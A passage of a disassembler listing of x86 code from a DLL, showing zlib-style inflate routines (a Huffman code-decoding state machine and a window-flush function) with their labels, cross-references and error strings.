		mov	ecx, [ebp+arg_4]
		mov	[ebx+18h], ecx


loc_10005CE6:				; CODE XREF: sub_10005CA0+28j
		mov	eax, ebx
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_10005CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_10005CF0	proc near		; CODE XREF: sub_10004F78+B18p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFDCh
		mov	ebx, eax
		mov	esi, edx
		mov	[esp+34h+var_34], ecx
		mov	eax, [ebx+4]
		mov	[esp+34h+var_14], eax
		mov	eax, [esi+4]
		mov	edi, [esi]
		mov	[esp+34h+var_20], eax
		mov	edx, [ebx+20h]
		mov	[esp+34h+var_24], edx
		mov	eax, [ebx+34h]
		mov	ebp, [ebx+1Ch]
		cmp	eax, [ebx+30h]
		jnb	short loc_10005D28
		mov	edx, [ebx+30h]
		sub	edx, eax
		dec	edx
		jmp	short loc_10005D2D
; ---------------------------------------------------------------------------


loc_10005D28:				; CODE XREF: sub_10005CF0+2Ej
		mov	edx, [ebx+2Ch]
		sub	edx, eax


loc_10005D2D:				; CODE XREF: sub_10005CF0+36j
		mov	[esp+34h+var_1C], edx


loc_10005D31:				; CODE XREF: sub_10005CF0+125j
					; sub_10005CF0+21Cj ...
		mov	ecx, [esp+34h+var_14]
		mov	edx, [ecx]
		cmp	edx, 9		; switch 10 cases
		ja	loc_10006566	; default
		jmp	off_10005D47[edx*4] ; switch jump
; ---------------------------------------------------------------------------
off_10005D47	dd offset loc_10005D6F	; DATA XREF: sub_10005CF0+50r
		dd offset loc_10005E42	; jump table for switch	statement
		dd offset loc_10005FCB
		dd offset loc_1000607F
		dd offset loc_100061CE
		dd offset loc_10006265
		dd offset loc_100063AC
		dd offset loc_1000648E
		dd offset loc_10006502
		dd offset loc_10006534
; ---------------------------------------------------------------------------


loc_10005D6F:				; CODE XREF: sub_10005CF0+50j
					; DATA XREF: sub_10005CF0:off_10005D47o
		cmp	[esp+34h+var_1C], 102h ; jumptable 10005D40 case 0
		jb	loc_10005E1A
		cmp	[esp+34h+var_20], 0Ah
		jb	loc_10005E1A
		mov	ecx, [esp+34h+var_24]
		mov	[ebx+20h], ecx
		mov	[ebx+1Ch], ebp
		mov	edx, [esp+34h+var_20]
		mov	ecx, edi
		mov	[esi+4], edx
		sub	ecx, [esi]
		add	[esi+8], ecx
		mov	[esi], edi
		mov	[ebx+34h], eax
		mov	eax, [esp+34h+var_14]
		mov	eax, [eax+18h]
		push	eax
		push	ebx
		push	esi
		mov	edx, [esp+40h+var_14]
		mov	eax, [esp+40h+var_14]
		mov	ecx, [edx+14h]
		xor	edx, edx
		mov	dl, [eax+11h]
		mov	eax, [esp+40h+var_14]
		movzx	eax, byte ptr [eax+10h]
		call	sub_100066BC
		mov	[esp+34h+var_34], eax
		mov	edi, [esi]
		mov	eax, [esi+4]
		mov	[esp+34h+var_20], eax
		mov	edx, [ebx+20h]
		mov	[esp+34h+var_24], edx
		mov	ebp, [ebx+1Ch]
		mov	eax, [ebx+34h]
		cmp	eax, [ebx+30h]
		jnb	short loc_10005DF2
		mov	edx, [ebx+30h]
		sub	edx, eax
		dec	edx
		jmp	short loc_10005DF7
; ---------------------------------------------------------------------------


loc_10005DF2:				; CODE XREF: sub_10005CF0+F8j
		mov	edx, [ebx+2Ch]
		sub	edx, eax


loc_10005DF7:				; CODE XREF: sub_10005CF0+100j
		mov	[esp+34h+var_1C], edx
		cmp	[esp+34h+var_34], 0
		jz	short loc_10005E1A
		mov	ecx, 7
		cmp	[esp+34h+var_34], 1
		jz	short loc_10005E0F
		add	ecx, 2


loc_10005E0F:				; CODE XREF: sub_10005CF0+11Aj
		mov	edx, [esp+34h+var_14]
		mov	[edx], ecx
		jmp	loc_10005D31
; ---------------------------------------------------------------------------


loc_10005E1A:				; CODE XREF: sub_10005CF0+87j
					; sub_10005CF0+92j ...
		mov	ecx, [esp+34h+var_14]
		xor	edx, edx
		mov	dl, [ecx+10h]
		mov	ecx, [esp+34h+var_14]
		mov	[ecx+0Ch], edx
		mov	edx, [esp+34h+var_14]
		mov	ecx, [edx+14h]
		mov	edx, [esp+34h+var_14]
		mov	[edx+8], ecx
		mov	ecx, [esp+34h+var_14]
		mov	dword ptr [ecx], 1


loc_10005E42:				; CODE XREF: sub_10005CF0+50j
					; DATA XREF: sub_10005CF0:off_10005D47o
		mov	edx, [esp+34h+var_14] ;	jumptable 10005D40 case	1
		mov	ecx, [edx+0Ch]
		mov	[esp+34h+var_30], ecx
		cmp	ebp, [esp+34h+var_30]
		jnb	short loc_10005EAD


loc_10005E53:				; CODE XREF: sub_10005CF0+1BBj
		cmp	[esp+34h+var_20], 0
		jz	short loc_10005E61
		xor	edx, edx
		mov	[esp+34h+var_34], edx
		jmp	short loc_10005E8F
; ---------------------------------------------------------------------------


loc_10005E61:				; CODE XREF: sub_10005CF0+168j
		mov	ecx, [esp+34h+var_24]
		mov	[ebx+20h], ecx
		mov	[ebx+1Ch], ebp
		mov	edx, [esp+34h+var_20]
		mov	ecx, edi
		mov	[esi+4], edx
		mov	edx, esi
		sub	ecx, [esi]
		add	[esi+8], ecx
		mov	[esi], edi
		mov	[ebx+34h], eax
		mov	eax, ebx
		mov	ecx, [esp+34h+var_34]
		call	sub_100065AC
		jmp	loc_10006596
; ---------------------------------------------------------------------------


loc_10005E8F:				; CODE XREF: sub_10005CF0+16Fj
		dec	[esp+34h+var_20]
		mov	ecx, ebp
		mov	dl, [edi]
		inc	edi
		and	edx, 0FFh
		add	ebp, 8
		shl	edx, cl
		or	[esp+34h+var_24], edx
		cmp	ebp, [esp+34h+var_30]
		jb	short loc_10005E53


loc_10005EAD:				; CODE XREF: sub_10005CF0+161j
		mov	ecx, [esp+34h+var_14]
		mov	edx, [ecx+8]
		mov	ecx, [esp+34h+var_30]
		mov	ecx, ds:dword_10009A0C[ecx*4]
		and	ecx, [esp+34h+var_24]
		shl	ecx, 3
		add	edx, ecx
		mov	[esp+34h+var_2C], edx
		mov	edx, [esp+34h+var_2C]
		mov	dl, [edx+1]
		mov	ecx, edx
		and	edx, 0FFh
		shr	[esp+34h+var_24], cl
		mov	ecx, [esp+34h+var_2C]
		sub	ebp, edx
		xor	edx, edx
		mov	dl, [ecx]
		mov	[esp+34h+var_28], edx
		cmp	[esp+34h+var_28], 0
		jnz	short loc_10005F11
		mov	ecx, [esp+34h+var_2C]
		mov	edx, [ecx+4]
		mov	ecx, [esp+34h+var_14]
		mov	[ecx+8], edx
		mov	edx, [esp+34h+var_14]
		mov	dword ptr [edx], 6
		jmp	loc_10005D31
; ---------------------------------------------------------------------------


loc_10005F11:				; CODE XREF: sub_10005CF0+202j
		test	byte ptr [esp+34h+var_28], 10h
		jz	short loc_10005F43
		mov	edx, [esp+34h+var_14]
		mov	ecx, [esp+34h+var_28]
		and	ecx, 0Fh
		mov	[edx+8], ecx
		mov	ecx, [esp+34h+var_2C]
		mov	edx, [ecx+4]
		mov	ecx, [esp+34h+var_14]
		mov	[ecx+4], edx
		mov	edx, [esp+34h+var_14]
		mov	dword ptr [edx], 2
		jmp	loc_10005D31
; ---------------------------------------------------------------------------


loc_10005F43:				; CODE XREF: sub_10005CF0+226j
		test	byte ptr [esp+34h+var_28], 40h
		jnz	short loc_10005F6F
		mov	ecx, [esp+34h+var_14]
		mov	edx, [esp+34h+var_28]
		mov	[ecx+0Ch], edx
		mov	ecx, [esp+34h+var_2C]
		mov	edx, [ecx+4]
		mov	ecx, [esp+34h+var_14]
		shl	edx, 3
		add	edx, [esp+34h+var_2C]
		mov	[ecx+8], edx
		jmp	loc_10005D31
; ---------------------------------------------------------------------------


loc_10005F6F:				; CODE XREF: sub_10005CF0+258j
		test	byte ptr [esp+34h+var_28], 20h
		jz	short loc_10005F85
		mov	edx, [esp+34h+var_14]
		mov	dword ptr [edx], 7
		jmp	loc_10005D31
; ---------------------------------------------------------------------------


loc_10005F85:				; CODE XREF: sub_10005CF0+284j
		mov	ecx, [esp+34h+var_14]
		mov	dword ptr [ecx], 9
		mov	dword ptr [esi+18h], offset aInvalidLiteral ; "invalid literal/length code"
		mov	[esp+34h+var_34], 0FFFFFFFDh
		mov	edx, [esp+34h+var_24]
		mov	[ebx+20h], edx
		mov	[ebx+1Ch], ebp
		mov	ecx, [esp+34h+var_20]
		mov	[esi+4], ecx
		mov	edx, edi
		sub	edx, [esi]
		add	[esi+8], edx
		mov	[esi], edi
		mov	[ebx+34h], eax
		mov	ecx, [esp+34h+var_34]
		mov	edx, esi
		mov	eax, ebx
		call	sub_100065AC
		jmp	loc_10006596
; ---------------------------------------------------------------------------


loc_10005FCB:				; CODE XREF: sub_10005CF0+50j
					; DATA XREF: sub_10005CF0:off_10005D47o
		mov	ecx, [esp+34h+var_14] ;	jumptable 10005D40 case	2
		mov	edx, [ecx+8]
		mov	[esp+34h+var_30], edx
		cmp	ebp, [esp+34h+var_30]
		jnb	short loc_10006036


loc_10005FDC:				; CODE XREF: sub_10005CF0+344j
		cmp	[esp+34h+var_20], 0
		jz	short loc_10005FEA
		xor	ecx, ecx
		mov	[esp+34h+var_34], ecx
		jmp	short loc_10006018
; ---------------------------------------------------------------------------


loc_10005FEA:				; CODE XREF: sub_10005CF0+2F1j
		mov	edx, [esp+34h+var_24]
		mov	[ebx+20h], edx
		mov	[ebx+1Ch], ebp
		mov	ecx, [esp+34h+var_20]
		mov	[esi+4], ecx
		mov	edx, edi
		sub	edx, [esi]
		add	[esi+8], edx
		mov	[esi], edi
		mov	[ebx+34h], eax
		mov	ecx, [esp+34h+var_34]
		mov	edx, esi
		mov	eax, ebx
		call	sub_100065AC
		jmp	loc_10006596
; ---------------------------------------------------------------------------


loc_10006018:				; CODE XREF: sub_10005CF0+2F8j
		dec	[esp+34h+var_20]
		mov	ecx, ebp
		mov	dl, [edi]
		inc	edi
		and	edx, 0FFh
		add	ebp, 8
		shl	edx, cl
		or	[esp+34h+var_24], edx
		cmp	ebp, [esp+34h+var_30]
		jb	short loc_10005FDC


loc_10006036:				; CODE XREF: sub_10005CF0+2EAj
		mov	ecx, [esp+34h+var_30]
		mov	edx, ds:dword_10009A0C[ecx*4]
		mov	ecx, [esp+34h+var_14]
		and	edx, [esp+34h+var_24]
		add	[ecx+4], edx
		mov	ecx, [esp+34h+var_30]
		shr	[esp+34h+var_24], cl
		mov	edx, [esp+34h+var_14]
		mov	ecx, [esp+34h+var_14]
		sub	ebp, [esp+34h+var_30]
		movzx	edx, byte ptr [edx+11h]
		mov	[ecx+0Ch], edx
		mov	edx, [esp+34h+var_14]
		mov	ecx, [edx+18h]
		mov	edx, [esp+34h+var_14]
		mov	[edx+8], ecx
		mov	ecx, [esp+34h+var_14]
		mov	dword ptr [ecx], 3


loc_1000607F:				; CODE XREF: sub_10005CF0+50j
					; DATA XREF: sub_10005CF0:off_10005D47o
		mov	edx, [esp+34h+var_14] ;	jumptable 10005D40 case	3
		mov	ecx, [edx+0Ch]
		mov	[esp+34h+var_30], ecx
		cmp	ebp, [esp+34h+var_30]
		jnb	short loc_100060EA


loc_10006090:				; CODE XREF: sub_10005CF0+3F8j
		cmp	[esp+34h+var_20], 0
		jz	short loc_1000609E
		xor	edx, edx
		mov	[esp+34h+var_34], edx
		jmp	short loc_100060CC
; ---------------------------------------------------------------------------


loc_1000609E:				; CODE XREF: sub_10005CF0+3A5j
		mov	ecx, [esp+34h+var_24]
		mov	[ebx+20h], ecx
		mov	[ebx+1Ch], ebp
		mov	edx, [esp+34h+var_20]
		mov	ecx, edi
		mov	[esi+4], edx
		mov	edx, esi
		sub	ecx, [esi]
		add	[esi+8], ecx
		mov	[esi], edi
		mov	[ebx+34h], eax
		mov	eax, ebx
		mov	ecx, [esp+34h+var_34]
		call	sub_100065AC
		jmp	loc_10006596
; ---------------------------------------------------------------------------


loc_100060CC:				; CODE XREF: sub_10005CF0+3ACj
		dec	[esp+34h+var_20]
		mov	ecx, ebp
		mov	dl, [edi]
		inc	edi
		and	edx, 0FFh
		add	ebp, 8
		shl	edx, cl
		or	[esp+34h+var_24], edx
		cmp	ebp, [esp+34h+var_30]
		jb	short loc_10006090


loc_100060EA:				; CODE XREF: sub_10005CF0+39Ej
		mov	ecx, [esp+34h+var_14]
		mov	edx, [ecx+8]
		mov	ecx, [esp+34h+var_30]
		mov	ecx, ds:dword_10009A0C[ecx*4]
		and	ecx, [esp+34h+var_24]
		shl	ecx, 3
		add	edx, ecx
		mov	[esp+34h+var_2C], edx
		mov	edx, [esp+34h+var_2C]
		mov	dl, [edx+1]
		mov	ecx, edx
		and	edx, 0FFh
		shr	[esp+34h+var_24], cl
		mov	ecx, [esp+34h+var_2C]
		sub	ebp, edx
		xor	edx, edx
		mov	dl, [ecx]
		mov	[esp+34h+var_28], edx
		test	byte ptr [esp+34h+var_28], 10h
		jz	short loc_1000615C
		mov	edx, [esp+34h+var_14]
		mov	ecx, [esp+34h+var_28]
		and	ecx, 0Fh
		mov	[edx+8], ecx
		mov	ecx, [esp+34h+var_2C]
		mov	edx, [ecx+4]
		mov	ecx, [esp+34h+var_14]
		mov	[ecx+0Ch], edx
		mov	edx, [esp+34h+var_14]
		mov	dword ptr [edx], 4
		jmp	loc_10005D31
; ---------------------------------------------------------------------------


loc_1000615C:				; CODE XREF: sub_10005CF0+43Fj
		test	byte ptr [esp+34h+var_28], 40h
		jnz	short loc_10006188
		mov	ecx, [esp+34h+var_14]
		mov	edx, [esp+34h+var_28]
		mov	[ecx+0Ch], edx
		mov	ecx, [esp+34h+var_2C]
		mov	edx, [ecx+4]
		mov	ecx, [esp+34h+var_14]
		shl	edx, 3
		add	edx, [esp+34h+var_2C]
		mov	[ecx+8], edx
		jmp	loc_10005D31
; ---------------------------------------------------------------------------


loc_10006188:				; CODE XREF: sub_10005CF0+471j
		mov	edx, [esp+34h+var_14]
		mov	dword ptr [edx], 9
		mov	dword ptr [esi+18h], offset aInvalidDistanc ; "invalid distance	code"
		mov	[esp+34h+var_34], 0FFFFFFFDh
		mov	ecx, [esp+34h+var_24]
		mov	[ebx+20h], ecx
		mov	[ebx+1Ch], ebp
		mov	edx, [esp+34h+var_20]
		mov	ecx, edi
		mov	[esi+4], edx
		mov	edx, esi
		sub	ecx, [esi]
		add	[esi+8], ecx
		mov	[esi], edi
		mov	[ebx+34h], eax
		mov	eax, ebx
		mov	ecx, [esp+34h+var_34]
		call	sub_100065AC
		jmp	loc_10006596
; ---------------------------------------------------------------------------


loc_100061CE:				; CODE XREF: sub_10005CF0+50j
					; DATA XREF: sub_10005CF0:off_10005D47o
		mov	edx, [esp+34h+var_14] ;	jumptable 10005D40 case	4
		mov	ecx, [edx+8]
		mov	[esp+34h+var_30], ecx
		cmp	ebp, [esp+34h+var_30]
		jnb	short loc_10006239


loc_100061DF:				; CODE XREF: sub_10005CF0+547j
		cmp	[esp+34h+var_20], 0
		jz	short loc_100061ED
		xor	edx, edx
		mov	[esp+34h+var_34], edx
		jmp	short loc_1000621B
; ---------------------------------------------------------------------------


loc_100061ED:				; CODE XREF: sub_10005CF0+4F4j
		mov	ecx, [esp+34h+var_24]
		mov	[ebx+20h], ecx
		mov	[ebx+1Ch], ebp
		mov	edx, [esp+34h+var_20]
		mov	ecx, edi
		mov	[esi+4], edx
		mov	edx, esi
		sub	ecx, [esi]
		add	[esi+8], ecx
		mov	[esi], edi
		mov	[ebx+34h], eax
		mov	eax, ebx
		mov	ecx, [esp+34h+var_34]
		call	sub_100065AC
		jmp	loc_10006596
; ---------------------------------------------------------------------------


loc_1000621B:				; CODE XREF: sub_10005CF0+4FBj
		dec	[esp+34h+var_20]
		mov	ecx, ebp
		mov	dl, [edi]
		inc	edi
		and	edx, 0FFh
		add	ebp, 8
		shl	edx, cl
		or	[esp+34h+var_24], edx
		cmp	ebp, [esp+34h+var_30]
		jb	short loc_100061DF


loc_10006239:				; CODE XREF: sub_10005CF0+4EDj
		mov	ecx, [esp+34h+var_30]
		mov	edx, ds:dword_10009A0C[ecx*4]
		mov	ecx, [esp+34h+var_14]
		and	edx, [esp+34h+var_24]
		add	[ecx+0Ch], edx
		mov	ecx, [esp+34h+var_30]
		shr	[esp+34h+var_24], cl
		mov	edx, [esp+34h+var_14]
		sub	ebp, [esp+34h+var_30]
		mov	dword ptr [edx], 5


loc_10006265:				; CODE XREF: sub_10005CF0+50j
					; DATA XREF: sub_10005CF0:off_10005D47o
		mov	edx, [esp+34h+var_14] ;	jumptable 10005D40 case	5
		mov	ecx, eax
		sub	ecx, [edx+0Ch]
		mov	[esp+34h+var_18], ecx
		mov	edx, [esp+34h+var_14]
		mov	ecx, [edx+0Ch]
		mov	edx, eax
		sub	edx, [ebx+28h]
		cmp	ecx, edx
		jbe	loc_10006391
		mov	ecx, [esp+34h+var_14]
		mov	edx, [ecx+0Ch]
		mov	ecx, eax
		sub	ecx, [ebx+28h]
		sub	edx, ecx
		mov	ecx, [ebx+2Ch]
		sub	ecx, edx
		mov	[esp+34h+var_18], ecx
		jmp	loc_10006391
; ---------------------------------------------------------------------------


loc_100062A2:				; CODE XREF: sub_10005CF0+6A9j
		cmp	[esp+34h+var_1C], 0
		jnz	loc_10006364
		cmp	eax, [ebx+2Ch]
		jnz	short loc_100062D3
		mov	edx, [ebx+30h]
		cmp	edx, [ebx+28h]
		jz	short loc_100062D3
		mov	eax, [ebx+28h]
		cmp	eax, [ebx+30h]
		jnb	short loc_100062CA
		mov	edx, [ebx+30h]
		sub	edx, eax
		dec	edx
		jmp	short loc_100062CF
; ---------------------------------------------------------------------------


loc_100062CA:				; CODE XREF: sub_10005CF0+5D0j
		mov	edx, [ebx+2Ch]
		sub	edx, eax


loc_100062CF:				; CODE XREF: sub_10005CF0+5D8j
		mov	[esp+34h+var_1C], edx


loc_100062D3:				; CODE XREF: sub_10005CF0+5C0j
					; sub_10005CF0+5C8j
		cmp	[esp+34h+var_1C], 0
		jnz	loc_10006364
		mov	[ebx+34h], eax
		mov	ecx, [esp+34h+var_34]
		mov	edx, esi
		mov	eax, ebx
		call	sub_100065AC
		mov	[esp+34h+var_34], eax
		mov	eax, [ebx+34h]
		cmp	eax, [ebx+30h]
		jnb	short loc_10006300
		mov	edx, [ebx+30h]
		sub	edx, eax
		dec	edx
		jmp	short loc_10006305
; ---------------------------------------------------------------------------


loc_10006300:				; CODE XREF: sub_10005CF0+606j
		mov	edx, [ebx+2Ch]
		sub	edx, eax


loc_10006305:				; CODE XREF: sub_10005CF0+60Ej
		mov	[esp+34h+var_1C], edx
		cmp	eax, [ebx+2Ch]
		jnz	short loc_1000632F
		mov	ecx, [ebx+30h]
		cmp	ecx, [ebx+28h]
		jz	short loc_1000632F
		mov	eax, [ebx+28h]
		cmp	eax, [ebx+30h]
		jnb	short loc_10006326
		mov	edx, [ebx+30h]
		sub	edx, eax
		dec	edx
		jmp	short loc_1000632B
; ---------------------------------------------------------------------------


loc_10006326:				; CODE XREF: sub_10005CF0+62Cj
		mov	edx, [ebx+2Ch]
		sub	edx, eax


loc_1000632B:				; CODE XREF: sub_10005CF0+634j
		mov	[esp+34h+var_1C], edx


loc_1000632F:				; CODE XREF: sub_10005CF0+61Cj
					; sub_10005CF0+624j
		cmp	[esp+34h+var_1C], 0
		jnz	short loc_10006364
		mov	ecx, [esp+34h+var_24]
		mov	[ebx+20h], ecx
		mov	[ebx+1Ch], ebp
		mov	edx, [esp+34h+var_20]
		mov	ecx, edi
		mov	[esi+4], edx
		mov	edx, esi
		sub	ecx, [esi]
		add	[esi+8], ecx
		mov	[esi], edi
		mov	[ebx+34h], eax
		mov	eax, ebx
		mov	ecx, [esp+34h+var_34]
		call	sub_100065AC
		jmp	loc_10006596
; ---------------------------------------------------------------------------


loc_10006364:				; CODE XREF: sub_10005CF0+5B7j
					; sub_10005CF0+5E8j ...
		xor	edx, edx
		mov	[esp+34h+var_34], edx
		mov	ecx, [esp+34h+var_18]
		mov	dl, [ecx]
		mov	[eax], dl
		inc	[esp+34h+var_18]
		inc	eax
		dec	[esp+34h+var_1C]
		mov	ecx, [esp+34h+var_18]
		cmp	ecx, [ebx+2Ch]
		jnz	short loc_1000638A
		mov	edx, [ebx+28h]
		mov	[esp+34h+var_18], edx


loc_1000638A:				; CODE XREF: sub_10005CF0+691j
		mov	ecx, [esp+34h+var_14]
		dec	dword ptr [ecx+4]


loc_10006391:				; CODE XREF: sub_10005CF0+590j
					; sub_10005CF0+5ADj
		mov	edx, [esp+34h+var_14]
		cmp	dword ptr [edx+4], 0
		jnz	loc_100062A2
		mov	ecx, [esp+34h+var_14]
		xor	edx, edx
		mov	[ecx], edx
		jmp	loc_10005D31
; ---------------------------------------------------------------------------


loc_100063AC:				; CODE XREF: sub_10005CF0+50j
					; DATA XREF: sub_10005CF0:off_10005D47o
		cmp	[esp+34h+var_1C], 0 ; jumptable	10005D40 case 6
		jnz	loc_1000646E
		cmp	eax, [ebx+2Ch]
		jnz	short loc_100063DD
		mov	ecx, [ebx+30h]
		cmp	ecx, [ebx+28h]
		jz	short loc_100063DD
		mov	eax, [ebx+28h]
		cmp	eax, [ebx+30h]
		jnb	short loc_100063D4
		mov	edx, [ebx+30h]
		sub	edx, eax
		dec	edx
		jmp	short loc_100063D9
; ---------------------------------------------------------------------------


loc_100063D4:				; CODE XREF: sub_10005CF0+6DAj
		mov	edx, [ebx+2Ch]
		sub	edx, eax


loc_100063D9:				; CODE XREF: sub_10005CF0+6E2j
		mov	[esp+34h+var_1C], edx


loc_100063DD:				; CODE XREF: sub_10005CF0+6CAj
					; sub_10005CF0+6D2j
		cmp	[esp+34h+var_1C], 0
		jnz	loc_1000646E
		mov	[ebx+34h], eax
		mov	ecx, [esp+34h+var_34]
		mov	edx, esi
		mov	eax, ebx
		call	sub_100065AC
		mov	[esp+34h+var_34], eax
		mov	eax, [ebx+34h]
		cmp	eax, [ebx+30h]
		jnb	short loc_1000640A
		mov	edx, [ebx+30h]
		sub	edx, eax
		dec	edx
		jmp	short loc_1000640F
; ---------------------------------------------------------------------------


loc_1000640A:				; CODE XREF: sub_10005CF0+710j
		mov	edx, [ebx+2Ch]
		sub	edx, eax


loc_1000640F:				; CODE XREF: sub_10005CF0+718j
		mov	[esp+34h+var_1C], edx
		cmp	eax, [ebx+2Ch]
		jnz	short loc_10006439
		mov	ecx, [ebx+30h]
		cmp	ecx, [ebx+28h]
		jz	short loc_10006439
		mov	eax, [ebx+28h]
		cmp	eax, [ebx+30h]
		jnb	short loc_10006430
		mov	edx, [ebx+30h]
		sub	edx, eax
		dec	edx
		jmp	short loc_10006435
; ---------------------------------------------------------------------------


loc_10006430:				; CODE XREF: sub_10005CF0+736j
		mov	edx, [ebx+2Ch]
		sub	edx, eax


loc_10006435:				; CODE XREF: sub_10005CF0+73Ej
		mov	[esp+34h+var_1C], edx


loc_10006439:				; CODE XREF: sub_10005CF0+726j
					; sub_10005CF0+72Ej
		cmp	[esp+34h+var_1C], 0
		jnz	short loc_1000646E
		mov	ecx, [esp+34h+var_24]
		mov	[ebx+20h], ecx
		mov	[ebx+1Ch], ebp
		mov	edx, [esp+34h+var_20]
		mov	ecx, edi
		mov	[esi+4], edx
		mov	edx, esi
		sub	ecx, [esi]
		add	[esi+8], ecx
		mov	[esi], edi
		mov	[ebx+34h], eax
		mov	eax, ebx
		mov	ecx, [esp+34h+var_34]
		call	sub_100065AC
		jmp	loc_10006596
; ---------------------------------------------------------------------------


loc_1000646E:				; CODE XREF: sub_10005CF0+6C1j
					; sub_10005CF0+6F2j ...
		xor	edx, edx
		mov	[esp+34h+var_34], edx
		mov	ecx, [esp+34h+var_14]
		mov	dl, [ecx+8]
		mov	[eax], dl
		inc	eax
		dec	[esp+34h+var_1C]
		mov	ecx, [esp+34h+var_14]
		xor	edx, edx
		mov	[ecx], edx
		jmp	loc_10005D31
; ---------------------------------------------------------------------------


loc_1000648E:				; CODE XREF: sub_10005CF0+50j
					; DATA XREF: sub_10005CF0:off_10005D47o
		cmp	ebp, 7		; jumptable 10005D40 case 7
		jbe	short loc_1000649B
		sub	ebp, 8
		inc	[esp+34h+var_20]
		dec	edi


loc_1000649B:				; CODE XREF: sub_10005CF0+7A1j
		mov	[ebx+34h], eax
		mov	ecx, [esp+34h+var_34]
		mov	edx, esi
		mov	eax, ebx
		call	sub_100065AC
		mov	[esp+34h+var_34], eax
		mov	eax, [ebx+34h]
		cmp	eax, [ebx+30h]
		jnb	short loc_100064BD
		mov	edx, [ebx+30h]
		sub	edx, eax
		dec	edx
		jmp	short loc_100064C2
; ---------------------------------------------------------------------------


loc_100064BD:				; CODE XREF: sub_10005CF0+7C3j
		mov	edx, [ebx+2Ch]
		sub	edx, eax


loc_100064C2:				; CODE XREF: sub_10005CF0+7CBj
		mov	ecx, [ebx+30h]
		cmp	ecx, [ebx+34h]
		jz	short loc_100064F8
		mov	edx, [esp+34h+var_24]
		mov	[ebx+20h], edx
		mov	[ebx+1Ch], ebp
		mov	ecx, [esp+34h+var_20]
		mov	[esi+4], ecx
		mov	edx, edi
		sub	edx, [esi]
		add	[esi+8], edx
		mov	[esi], edi
		mov	[ebx+34h], eax
		mov	ecx, [esp+34h+var_34]
		mov	edx, esi
		mov	eax, ebx
		call	sub_100065AC
		jmp	loc_10006596
; ---------------------------------------------------------------------------


loc_100064F8:				; CODE XREF: sub_10005CF0+7D8j
		mov	ecx, [esp+34h+var_14]
		mov	dword ptr [ecx], 8


loc_10006502:				; CODE XREF: sub_10005CF0+50j
					; DATA XREF: sub_10005CF0:off_10005D47o
		mov	[esp+34h+var_34], 1 ; jumptable	10005D40 case 8
		mov	edx, [esp+34h+var_24]
		mov	[ebx+20h], edx
		mov	[ebx+1Ch], ebp
		mov	ecx, [esp+34h+var_20]
		mov	[esi+4], ecx
		mov	edx, edi
		sub	edx, [esi]
		add	[esi+8], edx
		mov	[esi], edi
		mov	[ebx+34h], eax
		mov	ecx, [esp+34h+var_34]
		mov	edx, esi
		mov	eax, ebx
		call	sub_100065AC
		jmp	short loc_10006596
; ---------------------------------------------------------------------------


loc_10006534:				; CODE XREF: sub_10005CF0+50j
					; DATA XREF: sub_10005CF0:off_10005D47o
		mov	[esp+34h+var_34], 0FFFFFFFDh ; jumptable 10005D40 case 9
		mov	ecx, [esp+34h+var_24]
		mov	[ebx+20h], ecx
		mov	[ebx+1Ch], ebp
		mov	edx, [esp+34h+var_20]
		mov	ecx, edi
		mov	[esi+4], edx
		mov	edx, esi
		sub	ecx, [esi]
		add	[esi+8], ecx
		mov	[esi], edi
		mov	[ebx+34h], eax
		mov	eax, ebx
		mov	ecx, [esp+34h+var_34]
		call	sub_100065AC
		jmp	short loc_10006596
; ---------------------------------------------------------------------------


loc_10006566:				; CODE XREF: sub_10005CF0+4Aj
		mov	[esp+34h+var_34], 0FFFFFFFEh ; default
		mov	edx, [esp+34h+var_24]
		mov	[ebx+20h], edx
		mov	[ebx+1Ch], ebp
		mov	ecx, [esp+34h+var_20]
		mov	[esi+4], ecx
		mov	edx, edi
		sub	edx, [esi]
		add	[esi+8], edx
		mov	[esi], edi
		mov	[ebx+34h], eax
		mov	ecx, [esp+34h+var_34]
		mov	edx, esi
		mov	eax, ebx
		call	sub_100065AC


loc_10006596:				; CODE XREF: sub_10005CF0+19Aj
					; sub_10005CF0+2D6j ...
		add	esp, 24h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10005CF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_100065A0	proc near		; CODE XREF: sub_10004E7C+2Ep
					; sub_10004F78+B3Ep
		push	ebx
		mov	ebx, edx
		mov	edx, [edx+28h]
		xchg	eax, edx
		call	dword ptr [ebx+24h]
		pop	ebx
		retn
sub_100065A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_100065AC	proc near		; CODE XREF: sub_10004F78+C1p
					; sub_10004F78+1B6p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFF4h
		mov	[esp+18h+var_14], ecx
		mov	[esp+18h+var_18], edx
		mov	esi, eax
		mov	eax, [esp+18h+var_18]
		mov	edx, [eax+0Ch]
		mov	[esp+18h+var_10], edx
		mov	edi, [esi+30h]
		cmp	edi, [esi+34h]
		ja	short loc_100065D2
		mov	ebx, [esi+34h]
		jmp	short loc_100065D5
; ---------------------------------------------------------------------------


loc_100065D2:				; CODE XREF: sub_100065AC+1Fj
		mov	ebx, [esi+2Ch]


loc_100065D5:				; CODE XREF: sub_100065AC+24j
		sub	ebx, edi
		mov	eax, [esp+18h+var_18]
		mov	eax, [eax+10h]
		cmp	ebx, eax
		jbe	short loc_100065E3
		mov	ebx, eax


loc_100065E3:				; CODE XREF: sub_100065AC+33j
		test	ebx, ebx
		jz	short loc_100065F4
		cmp	[esp+18h+var_14], 0FFFFFFFBh
		jnz	short loc_100065F4
		xor	eax, eax
		mov	[esp+18h+var_14], eax


loc_100065F4:				; CODE XREF: sub_100065AC+39j
					; sub_100065AC+40j
		mov	edx, [esp+18h+var_18]
		sub	[edx+10h], ebx
		mov	ecx, [esp+18h+var_18]
		add	[ecx+14h], ebx
		cmp	dword ptr [esi+38h], 0
		jz	short loc_10006619
		mov	ecx, ebx
		mov	edx, edi
		mov	eax, [esi+3Ch]
		call	dword ptr [esi+38h]
		mov	[esi+3Ch], eax
		mov	edx, [esp+18h+var_18]
